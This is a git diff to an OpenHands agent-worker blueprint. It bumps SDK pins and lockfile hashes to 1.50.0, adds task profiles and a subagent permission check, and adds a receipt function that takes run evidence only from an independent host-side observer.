supplement assumed every shipped Python source parses under Python 3.13.", + "verification": "Retained exit 1 output; fully inspected func-timeout 4.3.5 func_timeout/py2_raise.py (five lines, no imports/OAuth names), bound its complete text review to SHA256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77, verified all six installed func_timeout sources against its locked sdist, and retained dafunc.py Python-3-first selection. Final scan exits 0; any other parse error remains fatal." + } + ], + "handoff": "Root copies only owned files, obtains bc exact-lock review, binds the allowed-lock guard to the fresh reviewed receipt, updates shared indexes/manifests, and runs the repository validator. No commit, PR exception, server/image/model run or upstream acceptance is represented by this receipt.", + "artifacts": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json", + "sha256": "aa794a4a612821be38d62cf97faeb4b07814c772535ac83c6b9eb3bf17a34917", + "bytes": 27542 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt", + "sha256": "bfdcbb60d2ed181956765a665c0303faf389b727c8d755b84e5f2b1c24f1c433", + "bytes": 32789 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt", + "sha256": "0b624ccf2ec63ed90a831bb02f7d05a338d490969482bee168179e5ac9a8b775", + "bytes": 3023 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt", + "sha256": "56149cc6f319c70630e6949a3519f5483637bfdaeea2a3af1011c943b228d3ca", + "bytes": 6188 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960", + "bytes": 7145 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt", + "sha256": "44300134a28b763a02d17f36f34919084409c5e8288f3adc93987f67a6b4d82f", + "bytes": 37175 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-after.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-before.json", + "sha256": "cb66e322c031410f198c51f6be43ca10092da79f91c293eaf1f6bc0be8834f0c", + "bytes": 266980 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-requirements.in.txt", + "sha256": "5c366b72ee59e8ddbda14c01fe794d8456beac33a5e4513544a44ef4c624c3cd", + "bytes": 403 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json", + "sha256": "7829c29474ff23ec7b50c957b03be75fca10935e974749ac054eb58ef8f2aad8", + "bytes": 30584 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt", + "sha256": "426019d491fb2f4c889226578487d6ff85a9c5a2648e949d38156cb89c3c73d9", + "bytes": 2329 + }, + { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "bytes": 248357 + }, + { + "path": "blueprints/runtime-workers/openhands/pins.json", + "sha256": "3c625a1c42d0b67ba89076206133474dae100212c5bc4a389ad28c0f6de3e279", + "bytes": 4460 + } + ] +} diff --git a/blueprints/runtime-workers/openhands/host.py b/blueprints/runtime-workers/openhands/host.py index f5c699d4c..4e60ea69e 100644 --- a/blueprints/runtime-workers/openhands/host.py +++ b/blueprints/runtime-workers/openhands/host.py @@ -30,7 +30,7 @@ import uuid from recipe import (COMPRESSION_COMBOS, HERE, arm_config, digest, environment_selection, llm_config, read_json, - render_mcp) + render_mcp, task_profile) from e2e import netprobe from e2e.task import load_task, worker_instruction from receipt import PROBE_MECHANISM, create_receipt, gateway_database, read_bounded, time_value @@ -389,7 +389,8 @@ def workspace_skills(stack_root, workspace): raise ValueError("skills_must_be_project_local") if digest(path) != entry["skill_md_sha256"]: raise ValueError("installed_project_skill_pin_mismatch") - return {"names": sorted(names), "manifest_sha256": digest(manifest)} + return {"names": sorted(names), "manifest_sha256": digest(manifest), + "roles": {entry["name"]: entry.get("roles", []) for entry in entries}} def attempt_stem(run_id, arm): @@ -1279,7 +1280,7 @@ def report(outcome, code, **extra): status = None except (OSError, ValueError): return report("refused", 3, reason="status_unreadable") - if status is not None and (not isinstance(status, dict) or status.get("status") in {"starting", "running", "terminal"}): + if status is not None and (not isinstance(status, dict) or status.get("status") in {"starting", "running", "paused", "terminal"}): return report("refused", 3, reason="conversation_may_be_live") try: reservation = json.loads(read_bounded(Path(state) / "active-dispatch.json")) @@ -1379,6 +1380,7 @@ def prepare_native_dispatch(state, run_id, selection, prefix, pins, base, host, port = owned_port(port) environment = ["--env", "OPENHANDS_OWNED_CONTAINER=1", "--env", "OPENHANDS_RUN_ID=" + run_id, "--env", "OPENHANDS_ARM=" + selection["arm"], + "--env", "OPENHANDS_PROFILE=" + task_profile(os.environ)[0], "--env", "OPENHANDS_MODEL=" + selection["requested_model"], "--env", "OPENHANDS_BASE_URL=" + selection["base_url"], "--env", "OPENHANDS_COMPRESSION=" + (selection["compression_combo"] or ""), @@ -1419,7 +1421,8 @@ def run(prefix, state, *, run_id=None, arm=None, prepare_only=False, port=DEFAUL print(json.dumps({"run_id": run_id, "arm": arm, "receipt": None, "failure_stage": "preflight", "task_passed": False, "evidence_complete": False})) return 3 - window = {"started_at": utc_now(), "finished_at": None, "worker_exit_code": None, "arm": arm, "run_id": run_id} + window = {"started_at": utc_now(), "finished_at": None, "worker_exit_code": None, "arm": arm, "run_id": run_id, + "profile": os.environ.get("OPENHANDS_PROFILE", "coding")} checked = {"upstream_resolved": None, "grader_exit_code": None} stem = run_id + "-" + arm stage = "preflight" @@ -1427,6 +1430,7 @@ def run(prefix, state, *, run_id=None, arm=None, prepare_only=False, port=DEFAUL native_receipt = None try: port = owned_port(port) + task_profile(os.environ) pins, host, mcp = preflight(prefix, state) installed = read_json(state / "installation.json") if installed.get("exit_code") != 0 or installed.get("requirements_sha256") != pins["requirements_sha256"]: diff --git a/blueprints/runtime-workers/openhands/install-container.sh b/blueprints/runtime-workers/openhands/install-container.sh index d50e615cd..08a982152 100755 --- a/blueprints/runtime-workers/openhands/install-container.sh +++ b/blueprints/runtime-workers/openhands/install-container.sh @@ -18,4 +18,4 @@ fi /bin/uv pip install --python "$prefix/venv/bin/python" --require-hashes --no-deps \ --no-build-isolation --index-url https://pypi.org/simple -r /recipe/requirements.lock /bin/uv pip check --python "$prefix/venv/bin/python" -"$prefix/venv/bin/python" -c 'import importlib.metadata as m; assert m.version("openhands-sdk") == m.version("openhands-tools") == "1.49.6"; from openhands.sdk import LLM, Agent, Conversation; from openhands.tools.terminal import TerminalTool; from openhands.tools.file_editor import FileEditorTool; print("SDK/tools 1.49.6 imports passed; no model request")' +"$prefix/venv/bin/python" -c 'import importlib.metadata as m; assert m.version("openhands-sdk") == m.version("openhands-tools") == "1.50.0"; from openhands.sdk import LLM, Agent, Conversation; from openhands.tools.terminal import TerminalTool; from openhands.tools.file_editor import FileEditorTool; print("SDK/tools 1.50.0 imports passed; no model request")' diff --git a/blueprints/runtime-workers/openhands/install.sh b/blueprints/runtime-workers/openhands/install.sh index dd4d6ac50..3d6381ba7 100755 --- a/blueprints/runtime-workers/openhands/install.sh +++ b/blueprints/runtime-workers/openhands/install.sh @@ -1,9 +1,9 @@ #!/usr/bin/env bash -# Source: SDK v1.49.6 Dockerfile and wheel installation path; pins.json + README.md. +# Source: SDK v1.50.0 Dockerfile and wheel installation path; pins.json + README.md. set -euo pipefail umask 077 recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" -prefix="$HOME/.local/share/codex-ecosystem/tools/openhands-1.49.6" +prefix="$HOME/.local/share/codex-ecosystem/tools/openhands-1.50.0" state="$HOME/.local/state/native-agent-stack/runtime-workers/openhands" # host.py checks rootless Docker, the locked grader, source/requirement sha256, private host values # before downloading or installing. Project skills use the shared installer diff --git a/blueprints/runtime-workers/openhands/mcp_guard.py b/blueprints/runtime-workers/openhands/mcp_guard.py index 638651949..c547693d7 100644 --- a/blueprints/runtime-workers/openhands/mcp_guard.py +++ b/blueprints/runtime-workers/openhands/mcp_guard.py @@ -5,11 +5,18 @@ """ import json +import os from pathlib import Path import sys +from recipe import task_profile def permitted(event): + if event.get("tool_name") == "task": + profile = task_profile(os.environ)[1] + args = event.get("tool_input", {}) + return isinstance(args, dict) and args.get("subagent_type") in { + "worker-" + name for name in profile["children"]} if event.get("tool_name") != "qmd_query": return True args = event.get("tool_input", {}) @@ -29,7 +36,7 @@ def permitted(event): def main(): if not permitted(json.load(sys.stdin)): - print(json.dumps({"decision": "deny", "reason": "Use explicit allowed collections, lex searches and rerank:false."})) + print(json.dumps({"decision": "deny", "reason": "Use scoped lexical QMD queries or a registered bounded worker profile."})) return 2 return 0 diff --git a/blueprints/runtime-workers/openhands/pins.json b/blueprints/runtime-workers/openhands/pins.json index f849ca451..4e941239e 100644 --- a/blueprints/runtime-workers/openhands/pins.json +++ b/blueprints/runtime-workers/openhands/pins.json @@ -1,23 +1,23 @@ { "schema_version": 1, - "version": "1.49.6", - "tag": "v1.49.6", + "version": "1.50.0", + "tag": "v1.50.0", "repository": "https://github.com/OpenHands/software-agent-sdk", - "commit": "fcc102a697874d54a357e36004e02c95040dbdc0", + "commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", "source_archive": { - "url": "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/fcc102a697874d54a357e36004e02c95040dbdc0", - "sha256": "2d3006de86eaec690a82e497fcd4459816637afe6e53f7da87783183792148a8" + "url": "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c" }, "uv_lock": { - "url": "https://raw.githubusercontent.com/OpenHands/software-agent-sdk/fcc102a697874d54a357e36004e02c95040dbdc0/uv.lock", - "sha256": "d13a41b86c48e66e1719b19d8e2d3a315abfab87c257fb18881ce4e31075c910" + "url": "https://raw.githubusercontent.com/OpenHands/software-agent-sdk/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/uv.lock", + "sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801" }, "image": { - "tag_observed": "1.49.6-python", - "ref": "ghcr.io/openhands/agent-server@sha256:02ef66fdf0b22a40b0b55c5cca8d1790cfd260c5069f7c0b99edc1b505d5ab37", + "tag_observed": "1.50.0-python", + "ref": "ghcr.io/openhands/agent-server@sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc", "platform": "linux/amd64", - "manifest_sha256": "ec7ed86f4021a21e161815853156521b44929d913f2e6ee06a173ef2f660aa12", - "config_sha256": "39426d8ce5c3ecaf6829063ec8ccfe5c289f049ae007fb14d89317b3982d196f", + "manifest_sha256": "d322c0fa5bc0f95d36de0b1a3e9aeab1230e2daf44d66cc94e42aa4ad23129c7", + "config_sha256": "6b11dbc497b336e0bf02aeed538dc21d87e4eabe66cac21d1b289dadb86eb1ee", "provenance": "GHCR returned manifest bytes SHA256; image config OPENHANDS_BUILD_GIT_SHA and OPENHANDS_BUILD_GIT_REF match the SDK tag." }, "gateway_proxy": { @@ -31,17 +31,17 @@ }, "wheels": { "openhands-sdk": { - "url": "https://files.pythonhosted.org/packages/e9/ac/d27c5becc3b59b8cc46a1614ac478cc94eb73e626ab15831906fcdaafb29/openhands_sdk-1.49.6-py3-none-any.whl", - "sha256": "3b4701f125925e804929ab02b61fe2fe10b4fb1e7d723a2c4afdea35566328bb", - "filename": "openhands_sdk-1.49.6-py3-none-any.whl" + "url": "https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl", + "sha256": "441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa", + "filename": "openhands_sdk-1.50.0-py3-none-any.whl" }, "openhands-tools": { - "url": "https://files.pythonhosted.org/packages/68/20/27d6d20cc8f3465ec861c450bc0113c8646285aa6c8f4291b62366dcb8a2/openhands_tools-1.49.6-py3-none-any.whl", - "sha256": "11e57a6635fd93c9f1fed14f804ab6f24a4873f75a2d35f0d1c3e57df2c51c87", - "filename": "openhands_tools-1.49.6-py3-none-any.whl" + "url": "https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl", + "sha256": "b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e", + "filename": "openhands_tools-1.50.0-py3-none-any.whl" } }, - "requirements_sha256": "e24df8328149c921f751eb93d682b3f5b66eb4efd09bf4b053ffcfca057181e1", + "requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", "build_requirements_sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2", "grader": { "repository": "https://github.com/OpenHands/benchmarks", diff --git a/blueprints/runtime-workers/openhands/receipt.py b/blueprints/runtime-workers/openhands/receipt.py index 64c6f0807..dde994fcf 100644 --- a/blueprints/runtime-workers/openhands/receipt.py +++ b/blueprints/runtime-workers/openhands/receipt.py @@ -10,6 +10,7 @@ from collections import Counter from datetime import datetime, timezone +import hashlib import json import os from pathlib import Path @@ -217,6 +218,71 @@ def isolation_summary(result): return summary +def independent_observations(result, window, pins): + """Read an external collector's host-only evidence; never SDK writable state. + + This is a receipt interface, not an independent collector implementation. + CPython os.stat/open and SHA256 provide owner/type/byte checks, not truth. + The collector must have a separate trusted native execution/observation + source; host polling of the SDK's model-writable event API is insufficient. + No fixture or copied worker summary is accepted by this interface. + """ + root = Path(result) / "observer" + try: + def private_read(name): + path = root / name + info = path.lstat() + if (not stat.S_ISREG(info.st_mode) or info.st_uid != os.getuid() + or stat.S_IMODE(info.st_mode) != 0o600): + raise ValueError("independent_observer_file_must_be_private") + return read_bounded(path) + metadata = json.loads(private_read("receipt.json")) + expected = {"schema_version": 1, "evidence_class": "independent_native_observation", + "source_kind": "isolated_native_executor", "worker_write_reach_excluded": True, + "run_id": window.get("run_id"), "arm": window.get("arm", "control"), + "profile": window.get("profile", "coding"), "source_commit": pins["commit"], + "image": pins["image"]["ref"], "started_at": window.get("started_at"), + "finished_at": window.get("finished_at")} + if any(metadata.get(key) != value for key, value in expected.items()): + raise ValueError("independent_observer_input_mismatch") + source = metadata.get("collector_source", {}) + if (not isinstance(source, dict) or not re.fullmatch(r"https://github.com/[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+", source.get("repository", "")) + or not re.fullmatch(r"[a-f0-9]{40}", source.get("commit", "")) or not source.get("file")): + raise ValueError("independent_observer_requires_pinned_native_source") + captured = {} + for name in ("startup.json", "events.jsonl"): + content = private_read(name) + if metadata.get("artifact_sha256", {}).get(name) != hashlib.sha256(content.encode()).hexdigest(): + raise ValueError("independent_observer_artifact_mismatch") + captured[name] = content + startup = json.loads(captured["startup.json"]) + versions = startup.get("versions", {}) + if versions != {name: pins["version"] for name in ("openhands-sdk", "openhands-tools")}: + raise ValueError("independently_observed_version_mismatch") + # /run-input is a host-created read-only mount. Its discovery manifest + # was frozen before the first model call; it is not model output. + expected_skills = read_json(Path(result) / "input/skills.json")["names"] + from recipe import profile_skills, task_profile + profile = task_profile({"OPENHANDS_PROFILE": window.get("profile", "coding")})[1] + manifest = read_json(Path(result) / "input/skills.json") + selected = sorted(profile_skills({name: None for name in expected_skills}, manifest, profile)) + if startup.get("listed_skills") != selected: + raise ValueError("independently_observed_skill_listing_mismatch") + events = [json.loads(line) for line in captured["events.jsonl"].splitlines() if line.strip()] + observed = observations(events, selected) + transport = metadata.get("transport", {}) + transport_verified = (transport == {"api_mode": "responses", "reasoning_effort": "max", + "sampling_parameters_present": False, + "streaming_observed": True, "tool_round_trip_observed": True}) + return {"status": "observed", "observed_versions": versions, + "skills_listed_at_start": selected, "skill_listing_matches_manifest": True, + **observed, "transport_verified": transport_verified, + "collector_source": {key: source[key] for key in ("repository", "commit", "file")}, + "scope_note": "External collector provenance is declared and must be independently reviewed; hashes check byte binding only."} + except (OSError, ValueError, TypeError, KeyError, AttributeError): + return {"status": NOT_COLLECTED} + + def create_receipt(result, database=None): result = Path(result) window = read_json(result / "window.json") @@ -253,6 +319,8 @@ def create_receipt(result, database=None): and checked.get("conversion_exit_code") == 0 and window.get("worker_exit_code") == 0) termination = window.get("agent_termination") usage = summarize_gateway(rows, selection) + independent = independent_observations(result, window, pins) + isolation = isolation_summary(result) def removals(*patterns): found = [] for path in sorted(path for pattern in patterns for path in result.glob(pattern)): @@ -261,13 +329,22 @@ def removals(*patterns): except (OSError, ValueError, AttributeError): found.append(False) return {"attempts": len(found), "confirmed_removed": sum(found), "complete": bool(found) and all(found)} + containers = removals("*.log.cleanup.json", "probes/*/*.log.cleanup.json") + networks = removals("network-*.cleanup.json") + complete = (task_passed and independent["status"] == "observed" + and independent.get("transport_verified") is True + and bool(independent.get("skills_observed")) + and bool(independent.get("mcp_calls_observed")) + and usage["successful_rows"] > 0 and usage["effort_verified"] and usage["totals"] is not None + and isolation.get("passed") is True and containers["complete"] and networks["complete"]) return { - "schema_version": 6, "evidence_class": "SDK inference adapter with official SWE-bench grading", + "schema_version": 7, "evidence_class": "SDK inference adapter with official SWE-bench grading", + "profile": window.get("profile", "coding"), **{k: selection[k] for k in ("arm", "base_url", "gateway_upstream", "requested_model", "gateway_model", "gateway_path", "compression_combo")}, "header_names": window.get("header_names", sorted(selection["headers"])), "framework": "OpenHands software-agent-sdk", "expected_version": pins["version"], - "observed_versions": NOT_COLLECTED, + "observed_versions": independent.get("observed_versions", NOT_COLLECTED), "image": pins["image"]["ref"], "source_commit": pins["commit"], "window": {key: window[key] for key in ("started_at", "finished_at")}, "worker_exit_code": window.get("worker_exit_code"), @@ -279,15 +356,16 @@ def removals(*patterns): # The terminal shares the SDK's UID and writable persistence. Source: # SDK@fcc102a tools/terminal/terminal/subprocess_terminal.py:157-170. # Without a separate observer nothing can prove skill use or SDK identity. - "evidence_complete": False, + "evidence_complete": bool(complete), "independent_trace_required": True, - "not_collected_reason": NOT_COLLECTED_REASON, - "skills_listed_at_start": NOT_COLLECTED, "skill_listing_matches_manifest": NOT_COLLECTED, + "not_collected_reason": NOT_COLLECTED_REASON if independent["status"] != "observed" else None, + "skills_listed_at_start": independent.get("skills_listed_at_start", NOT_COLLECTED), + "skill_listing_matches_manifest": independent.get("skill_listing_matches_manifest", NOT_COLLECTED), # host.cleanup_container and host.cleanup_network records, counted # separately; probe containers log beside their output directories. - "container_cleanup": removals("*.log.cleanup.json", "probes/*/*.log.cleanup.json"), - "network_cleanup": removals("network-*.cleanup.json"), - "isolation": isolation_summary(result), + "container_cleanup": containers, + "network_cleanup": networks, + "isolation": isolation, "gateway": { "read_mode": "read_only", "columns": list(COLUMNS), "status": db_status, **usage, "entry_port": selection["gateway_port"], @@ -298,8 +376,11 @@ def removals(*patterns): "usage_note": "Sum each entry row once, including failed calls; never add 20128 to 20129. Cache-read is an input subset. Missing counters keep totals null.", }, "compression": window.get("compression", {"delta": None, "status": "unavailable"}), - "trace_status": NOT_COLLECTED, "mcp_calls_observed": NOT_COLLECTED, - "mcp_errors_observed": NOT_COLLECTED, "skills_observed": NOT_COLLECTED, + "trace_status": independent["status"], "mcp_calls_observed": independent.get("mcp_calls_observed", NOT_COLLECTED), + "mcp_errors_observed": independent.get("mcp_errors_observed", NOT_COLLECTED), + "skills_observed": independent.get("skills_observed", NOT_COLLECTED), + "independent_observer": {key: value for key, value in independent.items() + if key in {"status", "collector_source", "transport_verified", "scope_note"}}, "upstream_grader": { **{key: verdict.get(key) for key in ("upstream_resolved", "upstream_bucket", "report_sha256")}, "benchmark_commit": pins["grader"]["commit"], diff --git a/blueprints/runtime-workers/openhands/recipe.py b/blueprints/runtime-workers/openhands/recipe.py index 28b21efa4..48bdcf965 100644 --- a/blueprints/runtime-workers/openhands/recipe.py +++ b/blueprints/runtime-workers/openhands/recipe.py @@ -35,9 +35,9 @@ def digest(path): return hashlib.sha256(Path(path).read_bytes()).hexdigest() -def tool_filter(policy): +def tool_filter(policy, additional=()): """FastMCP 3.2.0 multi-server names use one underscore, not two.""" - parts = [r"terminal", r"file_editor"] + parts = [r"terminal", r"file_editor", *additional] for server, limits in policy.items(): if not limits.get("enabled", True): continue @@ -92,7 +92,10 @@ def arm_config(arm="control", model=None, base_url=None, compression=None): raise ValueError("unknown_arm") port = 20128 if arm == "control" else 20129 selected = model or ("cx/gpt-6-astra-max" if arm == "control" else "sharedgw/gpt-6-astra-max") - valid = (isinstance(selected, str) and re.fullmatch(r"cx/gpt-6(?:-[a-z0-9]+)*", selected) + valid = (isinstance(selected, str) and selected in { + "cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max", "cx/gpt-6-sol-max", "cx/gpt-6-sol-medium", + "cx/gpt-6-astra", "cx/gpt-6-astra-max", + } if arm == "control" else selected == "sharedgw/gpt-6-astra-max") if not valid: raise ValueError("gateway_requires_gpt6_route_for_selected_arm") @@ -128,17 +131,49 @@ def llm_config(config, model=None, *, arm="control", base_url=None, compression= selected = arm_config(arm, model, base_url, compression) if result.get("reasoning_effort") != "max": raise ValueError("max_reasoning_effort_required") - if result.get("temperature") is not None and result["temperature"] <= 0.1: - raise ValueError("gateway_temperature_must_exceed_0_1_or_be_omitted") + if any(result.get(key) is not None for key in ("temperature", "top_p", "top_k")): + raise ValueError("gpt6_sampling_parameters_must_be_omitted") if result.get("response_format") is not None or result.get("native_tool_calling") is not True: raise ValueError("use_native_tool_calling_for_structured_output") # LiteLLM strips its openai provider prefix; the gateway receives selected. result["model"] = "openai/" + selected["requested_model"] result["base_url"] = selected["base_url"] result["extra_headers"] = selected["headers"] + # SDK@dcf401af v1.50.0 LLM.litellm_extra_body is the native extra_body field. + extra_body = dict(result.get("litellm_extra_body") or {}) + extra_body["reasoning"] = {**(extra_body.get("reasoning") or {}), "effort": "max"} + result["litellm_extra_body"] = extra_body return result +def task_profile(environment): + """Select an explicit native capability profile; extra services stay off.""" + config = read_json(HERE / "config/profiles.json") + name = environment.get("OPENHANDS_PROFILE", config["default"]) + if name not in config["profiles"]: + raise ValueError("unknown_worker_profile") + return name, {**config["profiles"][name], "delegation": config["delegation"], "goal": config["goal"]} + + +def profile_skills(skills, manifest, profile): + """Native skills stay objects; expose only descriptions relevant to this role. + + Bodies and resources remain available through native invoke_skill. Older + role-less input is accepted for the coding baseline only; other profiles + need the manifest role metadata recorded by the host before any model call. + """ + roles = manifest.get("roles") + if roles is None: + if profile["role"] != "coding": + raise ValueError("profile_requires_skill_role_metadata") + return skills + relevant = {name: skill for name, skill in skills.items() + if profile["role"] in roles.get(name, []) + or name == "verification-before-completion"} + prefixes = profile.get("skill_prefixes") + return {name: skill for name, skill in relevant.items() if name.startswith(tuple(prefixes))} if prefixes else relevant + + def inventory(root): """Byte and type inventory; symlinks, special files and additions are visible.""" root = Path(root) diff --git a/blueprints/runtime-workers/openhands/requirements.lock b/blueprints/runtime-workers/openhands/requirements.lock index e45448da3..ddea35189 100644 --- a/blueprints/runtime-workers/openhands/requirements.lock +++ b/blueprints/runtime-workers/openhands/requirements.lock @@ -1,1136 +1,3079 @@ -agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +agent-client-protocol==0.12.1 \ --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef -aiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +aiofile==3.9.0 \ --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b -aiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +aiofiles==25.1.0 \ --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 -aiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +aiohappyeyeballs==2.6.1 \ --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 -aiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 